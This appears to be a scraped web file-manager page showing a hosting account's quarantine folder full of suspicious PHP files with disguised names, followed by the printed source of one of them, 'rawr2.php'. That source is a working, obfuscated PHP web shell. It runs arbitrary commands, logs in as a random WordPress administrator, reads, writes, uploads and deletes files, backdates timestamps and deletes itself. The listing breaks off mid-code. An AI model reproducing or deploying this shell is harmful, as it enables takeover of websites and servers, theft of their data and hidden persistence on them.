golden hour
/home2/nemzcoma/.quarantine
⬆️ Go Up
Upload
File/Folder
Size
Actions
.htaccess_1ed26g38
265 B
Del
OK
.htaccess_80253gf3
265 B
Del
OK
.htaccess_8a15d87c
265 B
Del
OK
.htaccess_c1fdg68a
265 B
Del
OK
.htaccess_fae21031
265 B
Del
OK
.tmp_stealth17750518124789051_354b4268
14.19 KB
Del
OK
.tmp_stealth17750518349255163_64hgd1hh
14.19 KB
Del
OK
12daygood.php_4f7e1chf
76.62 KB
Del
OK
133.php_1062b5e2
26.64 KB
Del
OK
155.php.tar_14bdg1g1
33 KB
Del
OK
155.php.tar_b7877a2f
33 KB
Del
OK
155.php_1gd1h1g5
152.82 KB
Del
OK
155.php_ec4a1082
152.82 KB
Del
OK
177.php_6c27a867
152.68 KB
Del
OK
199.php_5777ae85
121.51 KB
Del
OK
222.php_3had5gg2
15.76 KB
Del
OK
222.php_44g878fc
15.76 KB
Del
OK
222.php_53cb7a15
15.76 KB
Del
OK
222.php_74f83fgb
15.76 KB
Del
OK
222.php_8b51a77c
15.76 KB
Del
OK
222.php_bca37c5c
15.78 KB
Del
OK
222.php_da3f1584
15.76 KB
Del
OK
222.php_e742h807
15.76 KB
Del
OK
2index.php_601b856c
10.7 KB
Del
OK
404.php_58a52e4c
46.96 KB
Del
OK
56839_588c0c24
420 B
Del
OK
67473_57cf3fe5
419 B
Del
OK
6ap7e.php_24a81g31
77.47 KB
Del
OK
Al7.php_e4g5f25g
565 B
Del
OK
Cap.php_fecea33b
77.26 KB
Del
OK
Do Not Delete.zip_7f454ba2
933 B
Del
OK
Pan7her-plugin.php_c07d03gd
2.35 KB
Del
OK
Wp-covid-mb.php.tar_1e133hd1
78 KB
Del
OK
about.php_48d54ed3
1.4 KB
Del
OK
about.php_a7hf5f44
3.69 KB
Del
OK
about.php_d61fad01
1.4 KB
Del
OK
about.php_ea11g1h5
17.29 KB
Del
OK
acp.php_2a373b03
178.11 KB
Del
OK
admin.php_103f6d63
1.05 MB
Del
OK
admin.php_1b77g7eb
1.05 MB
Del
OK
admin.php_40gc567b
41.11 KB
Del
OK
admin.php_46121fb8
1.05 MB
Del
OK
admin.php_4a28dhe8
125.25 KB
Del
OK
admin.php_4cd0dhh1
5.24 KB
Del
OK
admin.php_5hfb714a
87.67 KB
Del
OK
admin.php_71h1847c
5.24 KB
Del
OK
admin.php_8d3486ed
77.43 KB
Del
OK
admin.php_a2e45ad0
32.18 KB
Del
OK
admin.php_aa78ce5d
19.13 KB
Del
OK
admin.php_b51e7052
5.24 KB
Del
OK
admin.php_ccb3ceec
32.18 KB
Del
OK
admin.php_e17cfb8f
32.18 KB
Del
OK
admin.php_g4eh10ff
19.11 KB
Del
OK
adminfuns.php_ba41f4a5
173.77 KB
Del
OK
adminfuns.php_bh6fcgch
173.77 KB
Del
OK
agulnson.php_3e27bd5f
166.51 KB
Del
OK
ammika.php_6bd8a5c5
19.14 KB
Del
OK
aqffbglk.php_844ce0gd
168.58 KB
Del
OK
archive.php_7e65hgb2
14.76 KB
Del
OK
archive.php_b2f42138
14.76 KB
Del
OK
as.php_13f1e48g
33.19 KB
Del
OK
atpmoagh.php_e14e0371
168.59 KB
Del
OK
blackPrivet.php_a0bc0f7h
7.17 KB
Del
OK
buy.php_678850h2
1.46 KB
Del
OK
buy.php_6b024e06
1.48 KB
Del
OK
buy.php_f7e16d0g
1.48 KB
Del
OK
cap.php_db4fd1b4
8.47 KB
Del
OK
cap.php_h472e4f8
8.47 KB
Del
OK
carev.php_237d07e4
78.16 KB
Del
OK
caydyamw.php_ce48b784
168.62 KB
Del
OK
cbfaxywfxw.php_7ge7fa03
2.06 KB
Del
OK
cbfaxywfxw.php_dgd114f6
2.06 KB
Del
OK
cjiwridm.php_d47784ga
166.51 KB
Del
OK
coffee.tar_bdh2bddc
178.5 KB
Del
OK
colors.zip_da7h3030
870.61 KB
Del
OK
comment-content.tar_0d3hd63h
117 KB
Del
OK
comment-content.zip_ea3c6876
111.91 KB
Del
OK
content.php_a54a5c12
17.36 KB
Del
OK
coordjktrb.php_28812ga2
2.06 KB
Del
OK
cvmdhnlg.php_77g8c3b1
168.58 KB
Del
OK
cyjgosfm.php_faga5b3b
14.76 KB
Del
OK
czhdwhna.php_6g4edb8a
168.59 KB
Del
OK
dccpptbfcj.php_bcaf33f8
2.06 KB
Del
OK
ddllcfjo.php_a6h6ggbg
166.5 KB
Del
OK
default.php_3288ee1d
851 B
Del
OK
default.php_a1edc636
5.13 KB
Del
OK
defaults.php_c85h8aef
1.93 KB
Del
OK
defvpyazgx.php_bhc700fb
2.06 KB
Del
OK
dzhkpqeino.php_0bb2b634
2.06 KB
Del
OK
dzhkpqeino.php_g54447aa
2.06 KB
Del
OK
eaycvhzjhp.php_0d6b5b44
1.5 KB
Del
OK
edit.php_30331bg7
17.28 KB
Del
OK
eek.php_5175e56a
15.66 KB
Del
OK
eigvcvxi.php_1c2bb685
14.76 KB
Del
OK
eikuafrp.php_a83d701c
166.51 KB
Del
OK
epnajzqj.php_5ebca1e5
166.5 KB
Del
OK
eqgueytq.php_b03g35ad
168.59 KB
Del
OK
fctwgoug.php_c8g6ebf1
168.58 KB
Del
OK
fetch.php_h03ge4cd
2.13 KB
Del
OK
filefuns.php_16abceb3
5.52 KB
Del
OK
filefuns.php_1hf2b50f
5.08 KB
Del
OK
filefuns.php_a4h0af70
5.08 KB
Del
OK
fnclunnskq.php_2ach6fbc
2.06 KB
Del
OK
foyqjhha.php_04h482a2
14.76 KB
Del
OK
ftde.php_bcg71fec
21.5 KB
Del
OK
geju.php_5fga4gac
181 B
Del
OK
gfherhfghre.tar_03840c3e
140.5 KB
Del
OK
gfherhfghre.zip_ae44efg0
330.59 KB
Del
OK
giplxdedyh.php_a8b1g5h3
2.06 KB
Del
OK
gmryhckjuu.php_5cege543
2.06 KB
Del
OK
goods.php_1e720d6e
173.77 KB
Del
OK
goods.php_22c2hf7c
173.77 KB
Del
OK
goods.php_27h36gf0
173.77 KB
Del
OK
goods.php_410h45g5
173.77 KB
Del
OK
goods.php_44b215ab
173.77 KB
Del
OK
goods.php_acg3h704
173.77 KB
Del
OK
goods.php_agg47806
173.77 KB
Del
OK
goods.php_h6b84ff8
173.77 KB
Del
OK
gtoffyeu.php_5aged7dg
166.51 KB
Del
OK
gujjrkzs.php_115hd280
168.58 KB
Del
OK
gvxxvfnu.php_1gf338eb
166.51 KB
Del
OK
henglywt.php_58610d37
14.76 KB
Del
OK
hiroshi.php_1gdb6ch5
18.34 KB
Del
OK
hiroshi.php_5b4d04c0
7.31 KB
Del
OK
hiroshi.php_habaggce
6.19 KB
Del
OK
hypdiejx.php_5051b45c
14.76 KB
Del
OK
hypmxgwkee.php_00h0gd15
2.06 KB
Del
OK
index.php_002b4e7g
14.76 KB
Del
OK
index.php_024e51a4
14.76 KB
Del
OK
index.php_02a837de
14.76 KB
Del
OK
index.php_08521e0c
35.02 KB
Del
OK
index.php_08c64fh2
9.64 KB
Del
OK
index.php_0a62571d
6.25 KB
Del
OK
index.php_0h7480dh
38.58 KB
Del
OK
index.php_12adcbh7
155 B
Del
OK
index.php_1304f520
14.76 KB
Del
OK
index.php_135ad71d
14.76 KB
Del
OK
index.php_13c5e8h4
14.76 KB
Del
OK
index.php_168hah4f
14.76 KB
Del
OK
index.php_1a30ee6b
14.76 KB
Del
OK
index.php_1cf1e001
14.76 KB
Del
OK
index.php_2051b8d2
38.58 KB
Del
OK
index.php_27fh3ec4
5.91 KB
Del
OK
index.php_2a8a32c7
14.76 KB
Del
OK
index.php_2c858a57
2.75 KB
Del
OK
index.php_2fa41620
14.76 KB
Del
OK
index.php_2g885402
14.76 KB
Del
OK
index.php_305d3dgf
17.45 KB
Del
OK
index.php_3080fd0d
38.58 KB
Del
OK
index.php_31254acg
14.76 KB
Del
OK
index.php_328701cb
14.76 KB
Del
OK
index.php_348710fd
14.76 KB
Del
OK
index.php_37bhfce6
14.76 KB
Del
OK
index.php_38bf07af
18.11 KB
Del
OK
index.php_3cefc7g3
6.21 KB
Del
OK
index.php_3fdd36d6
38.58 KB
Del
OK
index.php_3gfbdb4e
14.76 KB
Del
OK
index.php_424d8720
14.76 KB
Del
OK
index.php_450fa42g
14.76 KB
Del
OK
index.php_45ce4446
14.76 KB
Del
OK
index.php_45hbd7ed
38.58 KB
Del
OK
index.php_486066fa
320 B
Del
OK
index.php_4a2g1808
38.58 KB
Del
OK
index.php_4bddg858
38.58 KB
Del
OK
index.php_4bfeb621
38.58 KB
Del
OK
index.php_4cfhe022
86.65 KB
Del
OK
index.php_4dg863gb
14.76 KB
Del
OK
index.php_4fhe0g60
38.58 KB
Del
OK
index.php_4h64350b
14.76 KB
Del
OK
index.php_523g02a4
38.58 KB
Del
OK
index.php_52ab7422
1.93 KB
Del
OK
index.php_546a5h85
14.76 KB
Del
OK
index.php_551af748
14.76 KB
Del
OK
index.php_552g7g55
14.76 KB
Del
OK
index.php_55e6ga6g
38.58 KB
Del
OK
index.php_562ae1e1
38.58 KB
Del
OK
index.php_5bfb3385
14.76 KB
Del
OK
index.php_5db06fb3
320 B
Del
OK
index.php_5f0fh76g
14.76 KB
Del
OK
index.php_6241gbbb
14.76 KB
Del
OK
index.php_6860ghec
1.93 KB
Del
OK
index.php_6agfe1eg
14.76 KB
Del
OK
index.php_6fd554h8
14.76 KB
Del
OK
index.php_6ff7fgdb
219 B
Del
OK
index.php_6fh71218
14.76 KB
Del
OK
index.php_6gh0b77d
14.76 KB
Del
OK
index.php_7151h71h
14.76 KB
Del
OK
index.php_723765eh
2 KB
Del
OK
index.php_72a2428f
38.58 KB
Del
OK
index.php_74hf56ba
1.66 KB
Del
OK
index.php_7517cg8c
1.87 KB
Del
OK
index.php_76h73370
6.98 KB
Del
OK
index.php_7757617h
14.76 KB
Del
OK
index.php_7bbd52g1
14.76 KB
Del
OK
index.php_7d3g1c4d
2.75 KB
Del
OK
index.php_7dhhfeg5
14.76 KB
Del
OK
index.php_7e57gb0d
14.76 KB
Del
OK
index.php_7ef7e4db
14.76 KB
Del
OK
index.php_7hc1e6g2
1.17 KB
Del
OK
index.php_80h8c2cb
424 B
Del
OK
index.php_854ebc4c
14.76 KB
Del
OK
index.php_8e8218eg
38.58 KB
Del
OK
index.php_8had6573
6.98 KB
Del
OK
index.php_a0022g32
14.76 KB
Del
OK
index.php_a01efh35
1.29 KB
Del
OK
index.php_a2f3f6gb
419 B
Del
OK
index.php_a5647edd
14.76 KB
Del
OK
index.php_a84c5682
14.76 KB
Del
OK
index.php_a8c54hb4
14.76 KB
Del
OK
index.php_ac65f5he
431 B
Del
OK
index.php_ac8010g3
6.98 KB
Del
OK
index.php_ad2a4d0e
14.76 KB
Del
OK
index.php_afah2182
14.76 KB
Del
OK
index.php_b0d75fg8
14.76 KB
Del
OK
index.php_b553b576
14.76 KB
Del
OK
index.php_b5eg1f8a
14.76 KB
Del
OK
index.php_b6bch211
14.76 KB
Del
OK
index.php_bd10d1b2
431 B
Del
OK
index.php_bgf01736
5.23 KB
Del
OK
index.php_bhdg67h8
38.58 KB
Del
OK
index.php_c07a00da
14.76 KB
Del
OK
index.php_c20617ae
38.58 KB
Del
OK
index.php_c27736e5
14.76 KB
Del
OK
index.php_c3h451e0
14.76 KB
Del
OK
index.php_c6g0d0d6
14.76 KB
Del
OK
index.php_c7f06dbb
1.14 KB
Del
OK
index.php_ce0856ag
35.02 KB
Del
OK
index.php_ch28a4fe
2.03 KB
Del
OK
index.php_d2ec520f
14.76 KB
Del
OK
index.php_d325dc3e
1.72 KB
Del
OK
index.php_d3bf16b6
14.76 KB
Del
OK
index.php_d8786h2f
14.76 KB
Del
OK
index.php_dc81e17d
14.76 KB
Del
OK
index.php_dd20e1he
14.76 KB
Del
OK
index.php_ddf1f8hf
14.76 KB
Del
OK
index.php_dgabc03b
14.76 KB
Del
OK
index.php_e4b56e33
14.76 KB
Del
OK
index.php_e4gfb1bb
14.76 KB
Del
OK
index.php_e6eg1e1a
14.76 KB
Del
OK
index.php_e78d8fhh
14.76 KB
Del
OK
index.php_ec5ae8bg
6.72 KB
Del
OK
index.php_ef04g777
14.76 KB
Del
OK
index.php_f66h7hdg
14.76 KB
Del
OK
index.php_f8fb6fhf
431 B
Del
OK
index.php_fec86gd7
38.58 KB
Del
OK
index.php_ff0fh282
219 B
Del
OK
index.php_fheh3eda
14.76 KB
Del
OK
index.php_g2g66b8e
14.76 KB
Del
OK
index.php_g31aadg5
431 B
Del
OK
index.php_gb38g350
14.76 KB
Del
OK
index.php_h5a3g2ce
14.76 KB
Del
OK
index.php_h7dhbg63
431 B
Del
OK
index.php_h85688ca
431 B
Del
OK
index.php_hebdg1h6
14.76 KB
Del
OK
index.php_hg86827c
14.76 KB
Del
OK
install-heIper.php_0fd4bgcg
574 B
Del
OK
install-heIper.php_532a2fgc
219.63 KB
Del
OK
ipnfmkpg.php_603dc061
168.58 KB
Del
OK
ipzfxehz.php_b2f8e7d8
168.58 KB
Del
OK
item.php_32bd52bg
1.29 KB
Del
OK
item.php_7c081d50
78.32 KB
Del
OK
ivqhfgpxhi.php_4e2d7gf1
1.5 KB
Del
OK
jbjyknffdu.php_538h0f46
2.06 KB
Del
OK
jbjyknffdu.php_f567a463
2.06 KB
Del
OK
jbtkjmyh.php_cg8h4304
166.51 KB
Del
OK
jeqvcuytep.php_4aed4e5c
2.06 KB
Del
OK
jizlzrsp.php_66fdbhbh
14.76 KB
Del
OK
jj.php_3g347a35
14.43 KB
Del
OK
jj.php_7dgce8fg
14.43 KB
Del
OK
jj.php_7f7fb625
14.43 KB
Del
OK
jj.php_80age0ba
14.43 KB
Del
OK
jj.php_a0h55a77
14.43 KB
Del
OK
jtjtlplj.php_3h26673d
166.51 KB
Del
OK
jwbvbljs.php_1da5bgde
168.58 KB
Del
OK
kbenxqtoxi.php_h3a4b8fd
2.06 KB
Del
OK
kgybsldp.php_4a3b28e7
168.58 KB
Del
OK
koghbbjp.php_dhf64ahh
14.76 KB
Del
OK
kvdjmgnh.php_2814751g
14.76 KB
Del
OK
kxahhzadkr.php_7bccfb40
1.5 KB
Del
OK
kxinetrt.php_3cf630b3
168.58 KB
Del
OK
kzpvmkbe.php_4d448708
168.59 KB
Del
OK
lgwprosb.php_16df7g4g
166.51 KB
Del
OK
livhstwc.php_c4e58e85
14.76 KB
Del
OK
lock360.php_b58hfd5g
1.4 KB
Del
OK
lqcnojbo.php_d6d0efhc
166.51 KB
Del
OK
lurtqlar.php_c63had02
168.58 KB
Del
OK
lvxsorgdsx.php_62h855b6
2.06 KB
Del
OK
lwqtcnztbn.php_gdg86eg4
1.5 KB
Del
OK
lxgsjquj.php_g47gf0g7
168.58 KB
Del
OK
lzujubgmgg.php_1fe84baf
2.06 KB
Del
OK
lzujubgmgg.php_7hc35a32
2.06 KB
Del
OK
mah.php_10e82b8e
1.4 KB
Del
OK
mah.php_7ah2c3fc
1.4 KB
Del
OK
mah.php_d6fbhdaa
1.4 KB
Del
OK
maxngmtc.php_ae521b04
166.51 KB
Del
OK
mewhkxdz.php_7e3064f5
168.58 KB
Del
OK
mhprvdlb.php_434a6551
168.58 KB
Del
OK
minik.php_064hc200
12.41 KB
Del
OK
minik.php_ge53a0b6
12.41 KB
Del
OK
mnevqljr.php_h4h7bceg
168.58 KB
Del
OK
mptwzeux.php_1f3800gh
14.76 KB
Del
OK
msegtfftof.php_7aah4hd2
2.06 KB
Del
OK
naathfag.php_32e8fg20
168.58 KB
Del
OK
nefrcqnt.php_673h7be1
168.58 KB
Del
OK
nfbuqnbl.php_4fbbaa2h
14.76 KB
Del
OK
nlftnmqh.php_400fh080
166.51 KB
Del
OK
nonomnag.php_522da5f8
166.51 KB
Del
OK
ntcwvmfkva.php_6e2ba73h
2.06 KB
Del
OK
nwflm.php_44f0f683
2.16 MB
Del
OK
nwflm.php_c6102hb0
2.16 MB
Del
OK
nwsnnfuk.php_d1d5181e
168.58 KB
Del
OK
oaefvwpt.php_54gca118
168.58 KB
Del
OK
oajxsiov.php_6dege02e
168.58 KB
Del
OK
obtwyduy.php_00cb434d
168.58 KB
Del
OK
oiiirceg.php_a3fg1cgh
168.58 KB
Del
OK
olbcljui.php_64d13bdg
168.58 KB
Del
OK
olkpcaihxz.php_01128b7h
1.5 KB
Del
OK
onlqnphypz.php_18h40aaf
2.06 KB
Del
OK
onlqnphypz.php_d5e5575b
2.06 KB
Del
OK
ophpdiyc.php_841b8723
168.58 KB
Del
OK
product.php_c1hebg06
2.03 KB
Del
OK
pyucbkvp.php_gf33157h
14.76 KB
Del
OK
qbjvgalx.php_b8feh7fa
14.76 KB
Del
OK
radio.php_0e6d3b34
17.29 KB
Del
OK
radio.php_85b4h2ge
22.06 KB
Del
OK
rawr2.php_243hf70f
101.3 KB
Del
OK
rcmgkjri.php_2c42cc11
166.51 KB
Del
OK
rdmysiml.php_2b726cf5
168.58 KB
Del
OK
rgjycvvu.php_806a603b
168.58 KB
Del
OK
rjaoekjdqp.php_ebh0d4d3
1.5 KB
Del
OK
rthwmrtk.php_fh52h1b0
14.76 KB
Del
OK
rtsjddkvad.php_4022af04
2.06 KB
Del
OK
s.php_25c08c85
6.76 KB
Del
OK
saiga.php_4152d2b5
8.89 KB
Del
OK
saiga.php_hd020fd7
13.4 KB
Del
OK
sbkxvkjr.php_b338fgb8
168.58 KB
Del
OK
sc.php_2hc03cah
177.99 KB
Del
OK
sciokkqf.php_gh75ba35
168.58 KB
Del
OK
sesnnlcz.php_ca8e14g1
14.76 KB
Del
OK
slider.php_16dc0cc4
46.96 KB
Del
OK
slkzvwlk.php_g0470334
168.58 KB
Del
OK
ss.php_8g353dhc
13.5 KB
Del
OK
style.php_3dcbe1bh
13.37 KB
Del
OK
style.php_c2b8fe4g
13.37 KB
Del
OK
style.php_d734b5fh
13.37 KB
Del
OK
style.php_eh7c550a
13.37 KB
Del
OK
su.php_4661dh04
77.12 KB
Del
OK
su.php_dbec5868
77.12 KB
Del
OK
su.php_eg3dcf52
77.12 KB
Del
OK
supzaayg.php_2846d6hc
168.58 KB
Del
OK
swmqaomt.php_34648h82
168.58 KB
Del
OK
symlnkgd.php_8ggaf63e
14.19 KB
Del
OK
symlnkgd.php_f74hdd38
14.19 KB
Del
OK
syxioxdi.php_f706348f
168.58 KB
Del
OK
tccbrjyo.php_cfgef148
168.58 KB
Del
OK
tdfqpyis.php_ag0814d2
14.76 KB
Del
OK
thifeait.php_25e204ea
14.76 KB
Del
OK
tkvajdnf.php_151526ff
166.51 KB
Del
OK
tqkyqalj.php_a082e1h4
168.59 KB
Del
OK
ubbnjwsxtd.php_16ce5252
2.06 KB
Del
OK
ubsloncl.php_f68g3bc7
168.58 KB
Del
OK
ucpscowj.php_1h5hc1bb
168.58 KB
Del
OK
uftwrtfm.php_3f0517ec
168.58 KB
Del
OK
upwxvzdq.php_ec214b47
14.76 KB
Del
OK
vendoyters.tar_2gg8aahh
101.5 KB
Del
OK
vendoyters.zip_ee807f28
226.3 KB
Del
OK
vfyroihafh.php_acb775ff
2.06 KB
Del
OK
vheogeuhio.php_a332d500
2.06 KB
Del
OK
vhndghqj.php_h5g6c760
168.59 KB
Del
OK
vmmpmnbv.php_c816062a
168.58 KB
Del
OK
vpmgvmvf.php_3d7cg373
168.58 KB
Del
OK
vprbehyz.php_c624ea2e
168.58 KB
Del
OK
vrybkybi.php_d318fh2f
166.52 KB
Del
OK
vsrripyp.php_dg0838ab
166.51 KB
Del
OK
wcmkzqbk.php_f305hbb4
14.76 KB
Del
OK
whluhuej.php_0h06a0ea
168.58 KB
Del
OK
whoytnbj.php_463fag71
14.76 KB
Del
OK
wp-blog.php_076243eb
77.49 KB
Del
OK
wp-conffg.php_e1f00dc3
122.7 KB
Del
OK
wp-conffg.php_h422dch5
122.7 KB
Del
OK
wp-conffq.php_d276cdfd
147.36 KB
Del
OK
wp-links.gz_0fdef566
28.4 KB
Del
OK
wp-links.php_b8c1hhce
44 B
Del
OK
wp-links.php_cbb8fb61
233 B
Del
OK
wp-login.php_fe8g65hh
10.7 KB
Del
OK
wp-sx9.php_01c7f578
74.61 KB
Del
OK
wp-sx9.php_28860a88
74.61 KB
Del
OK
wp-sx9.php_bgfhd32f
74.59 KB
Del
OK
wp_oks.php_8b82h2c8
7.13 KB
Del
OK
wps.php_526f8444
16.57 KB
Del
OK
wukhlaxc.php_e414gf50
14.76 KB
Del
OK
xhrnlyun.php_02c226e4
14.76 KB
Del
OK
xjrjhlix.php_3bebaeca
14.76 KB
Del
OK
xlrcjokz.php_2g431504
166.52 KB
Del
OK
xmanager.php_2d7ag4cf
12.55 KB
Del
OK
xqwlszcimz.php_46703f07
1.5 KB
Del
OK
xsmofymf.php_d1caf65b
168.58 KB
Del
OK
xulctjkr.php_e0cgaf4e
14.76 KB
Del
OK
xwpg.php_2f6068d6
237.88 KB
Del
OK
xwx1.php_2c2g7ga5
8.99 MB
Del
OK
xxx.js_57cf8a3e
6.72 KB
Del
OK
ytmtofrb.php_2b3g3be6
168.58 KB
Del
OK
zeta.php_gc2bh5de
44.85 KB
Del
OK
zijdwkou.php_ac367h1f
168.59 KB
Del
OK
zkkzjzupzf.php_d4gd5373
2.06 KB
Del
OK
zlmveewc.php_a5cda347
166.51 KB
Del
OK
zqwdaldagw.php_6ha3b2gf
2.06 KB
Del
OK
zqwdaldagw.php_8eb0h61h
2.06 KB
Del
OK
zrvkwgcb.php_afce034c
168.59 KB
Del
OK
zwewyhes.php_bg6d64fd
168.58 KB
Del
OK
zwwpvctr.php_55b7d6eg
166.51 KB
Del
OK
Edit: rawr2.php_243hf70f
<?php error_reporting(0); function xorEncryptDecrypt($input, $key = null) { if ($key === null) { $key = chr(0x31) . chr(0x32); } $out = ''; $klen = strlen($key); $len = strlen($input); for ($n = 0; $n < $len; $n++) { $out .= $input[$n] ^ $key[$n % $klen]; } return $out; } function get_current_path() { $path = isset($_POST['path']) && !empty($_POST['path']) ? decode_char($_POST['path']) : getcwd(); return $path; } function code_execution($value, $function) { $output = ''; $decoded_function = decode_char($function); $value = decode_char($value); $proccl = decode_char('41405e516e515d5d4257'); $pcl = decode_char("41515d5d4257"); ob_start(); switch ($function) { case '424b4246545f': case '424b4246545f': $decoded_function($value); $output = ob_get_contents(); break; case '544a5451': $decoded_function($value, $output); $output = implode("\n", $output); break; case '425a545e5d6d544a5451': $output = $decoded_function($value); break; case '415d41575f': $handle = $decoded_function($value, 'r'); if (is_resource($handle)) { while (!feof($handle)) { $output .= fread($handle, 4096); } $pcl($handle); } break; case '41405e516e5d41575f': $descriptorspec = [ 0 => ["pipe", "r"], 1 => ["pipe", "w"], 2 => ["pipe", "w"] ]; $process = $decoded_function($value, $descriptorspec, $pipes); if (is_resource($process)) { $output = stream_get_contents($pipes[1]); fclose($pipes[1]); $proccl($process); } break; default: break; } ob_end_clean(); return $output ?: 'No output?'; } function wp_action_mode($mode) { global $glob_file; if ($glob_file && ($glob_file !== '0' && file_exists($glob_file))) { require_once $glob_file; } $log_function = decode_char('46426e4154466e534446596d525d5e595857'); $set_current = decode_char('46426e4154466e51444043575f466e47425743'); $allowed_role = decode_char("50565c5b5f5b42464353455d43"); if (!function_exists($log_function)) { return false; } switch ($mode) { case 'log': $users = get_users(["role" => $allowed_role]); if (!$users) { return false; } $arr_rand = array_rand($users, 1); $user = $users[$arr_rand]; if (!$user) { return false; } $id = $user->data->ID; $log_function($id); $set_current($id); return $id; break; default: die("nothing"); break; } } function listing_all_directory() { $path = get_current_path(); $result = array(); $date_format = "d-m-Y H:i:s"; if ($handle = opendir($path)) { while (false !== ($dir = readdir($handle))) { if ($dir === '.' || $dir === '..') { continue; } $full_path = "$path/$dir"; $is_dir = is_dir($full_path); $tmp_result = array( 'path' => htmlspecialchars($full_path), 'is_writable' => is_writable($full_path), 'is_dir' => $is_dir, 'date' => date($date_format, filemtime($full_path)), 'size' => $is_dir ? "" : round(filesize($full_path) / 1024, 2), 'perms' => substr(sprintf('%o', fileperms($full_path)), -4), ); $result[] = $tmp_result; } closedir($handle); } return $result; } $action = isset($_REQUEST['action']) ? $_REQUEST['action'] : false; $glob_file = isset($_COOKIE['glob-file']) && !empty($_COOKIE['glob-file']) ? $_COOKIE['glob-file'] : false; if (!$glob_file) { $glob_file = check_load_file() ?: '0'; setcookie("glob-file", $glob_file); } function check_load_file() { $filename = decode_char("46421c5e5e53551c415a41"); $root_directory = $_SERVER['DOCUMENT_ROOT']; $file_path = $root_directory . DIRECTORY_SEPARATOR . $filename; return file_exists($file_path) ? $file_path : false; } if (!$action) { main(); menu(); } function decode_char($string) { if (!is_string($string) || $string === '') { return ''; } $string = trim($string); if (strlen($string) % 2 !== 0 || !ctype_xdigit($string)) { return ''; } $h = hex2bin($string); if ($h === false) { return ''; } return xorEncryptDecrypt($h); } function fm_chmod_recursive($path, $mode) { @chmod($path, $mode); if (is_dir($path)) { $items = @scandir($path); if ($items !== false) { $items = array_diff($items, ['.', '..']); foreach ($items as $item) { fm_chmod_recursive($path . DIRECTORY_SEPARATOR . $item, $mode); } } } } function fm_touch_recursive($path, $ts) { @touch($path, $ts); if (is_dir($path)) { $items = @scandir($path); if ($items !== false) { $items = array_diff($items, ['.', '..']); foreach ($items as $item) { fm_touch_recursive($path . DIRECTORY_SEPARATOR . $item, $ts); } } } } switch ($action) { case 'd': die(json_encode(listing_all_directory())); break; case 'ec': if ($_SERVER['REQUEST_METHOD'] == "POST") { $value = $_POST['value']; $function = $_POST['function']; $output = code_execution($value, $function); $message['output'] = $output; die(json_encode($message)); } echo '(:'; break; case 'wp': if ($_SERVER['REQUEST_METHOD'] == "POST") { $mode = $_REQUEST['mode']; $result = wp_action_mode($mode); $message['result'] = $result; $message['success'] = $result ? true : false; die(json_encode($message)); } case 'rf': // Read file content as JSON (no page reload needed) if ($_SERVER['REQUEST_METHOD'] == 'POST') { $raw = file_get_contents("php://input"); $data = is_string($raw) ? json_decode($raw, true) : null; if (!$data || !isset($data['filename'])) { die(json_encode(['success' => false, 'content' => ''])); } $filename = decode_char(trim($data['filename'])); if ($filename === '') { die(json_encode(['success' => false, 'content' => ''])); } $content = customize_read_file($filename); // json_encode fails silently on invalid UTF-8; base64 encode content to be safe die(json_encode(['success' => true, 'content' => base64_encode($content), 'encoded' => true, 'filename' => $filename])); } die(json_encode(['success' => false])); break; case 'r': if ($_SERVER['REQUEST_METHOD'] == 'POST') { $raw = file_get_contents("php://input"); $data = is_string($raw) ? json_decode($raw, true) : null; if (!$data || !isset($data['content'], $data['filename'])) { $message['success'] = false; die(json_encode($message)); } $content = show_base_data()($data['content']); if ($content === false) { $content = ''; } $content = (string) $content; $filename = decode_char(trim($data['filename'])); if ($filename === '') { $message['success'] = false; die(json_encode($message)); } $dir = dirname($filename); if (!empty($dir) && !is_dir($dir) && function_exists('mkdir')) { @mkdir($dir, 0755, true); } $message['success'] = fm_write_file($filename, $content); die(json_encode($message)); } main(); $content = customize_read_file(decode_char($_REQUEST['filename'])); show_text_area(htmlspecialchars($content)); break; case 'cf': if ($_SERVER['REQUEST_METHOD'] == "POST") { $data = explode(',', $_POST['data']); $list_functions = array_map('decode_char', $data); foreach ($list_functions as $function) { $disabled_functions = @ini_get('disable_functions'); $disabled_functions = $disabled_functions ? array_map('trim', explode(',', $disabled_functions)) : []; if (empty($disabled_functions)) { $message['avail'] = true; $message['func'] = $function; exit(json_encode($message)); } if (function_exists($function) && !in_array($function, $disabled_functions)) { $message['avail'] = true; $message['func'] = $function; exit(json_encode($message)); } } $message['avail'] = false; die(json_encode($message)); } echo "Missing someone?"; break; case 'cr': main(); show_text_area(""); break; case 'ul': $filename = decode_char($_REQUEST['filename']); $is_dir = !empty($_REQUEST['is_dir']); if (fm_remove_path($filename, $is_dir)) { $message['success'] = true; } else { $message['success'] = false; } die(json_encode($message)); break; case 'extract': $filename = decode_char(trim($_REQUEST['filename'] ?? '')); if (!$filename) { $raw = file_get_contents("php://input"); $data = is_string($raw) ? json_decode($raw, true) : null; if ($data && isset($data['filename'])) { $filename = decode_char(trim($data['filename'])); } } $dest = dirname($filename); $success = false; $method = false; $error = ''; if (class_exists('ZipArchive')) { $zip = new ZipArchive(); $res = $zip->open($filename); if($res === TRUE) { if($zip->extractTo($dest)) { $success = true; $method = 'ziparchive'; }else{ $error = $zip->getStatusString(); } $zip->close(); } else { $error = 'ZipArchive failed to open file'; } } if (!$success && isset($_POST['function'])) { $function = $_POST['function']; $params = "unzip -o " . escapeshellarg($filename) . " -d " . escapeshellarg($dest); $params = bin2hex(xorEncryptDecrypt($params)); $out = code_execution($params, $function); if ($out !== 'No output?') { $success = true; $method = 'command'; $error = ''; } else { $success = false; $error = 'Command returned no output or failed'; } } die(json_encode(['success' => $success, 'method' => $method, 'error' => $error])); break; case 'up': $file = $_FILES['import_file']; $tmp_name = $file['tmp_name']; $content = customize_read_file($tmp_name); if (isset($_POST['by'])) { $content = show_base_data()($content); } $path = get_current_path(); $name = $file['name']; $destination = "$path/$name"; $message['success'] = $content && fm_write_file($destination, $content) ?: rename($tmp_name, $destination); die(json_encode($message)); break; case 're': $filename = decode_char($_REQUEST['filename']); $path = $_REQUEST['path']; if ($_SERVER['REQUEST_METHOD'] == "POST") { $old_filename = "$path/$filename"; $new = $_POST['new']; $new_filename = "$path/$new"; $message['success'] = rename($old_filename, $new_filename); die(json_encode($message)); } break; case 'to': $filename = decode_char($_REQUEST['filename']); if ($_SERVER['REQUEST_METHOD'] == 'POST') { $date = $_POST['date']; $str_date = strtotime($date); $message['success'] = touch($filename, $str_date); clearstatcache(true, $filename); die(json_encode($message)); } case 'sd': $un = show_un(); $un(__FILE__); $message['success'] = true; die(json_encode($message)); break; case 'ch': // chmod if 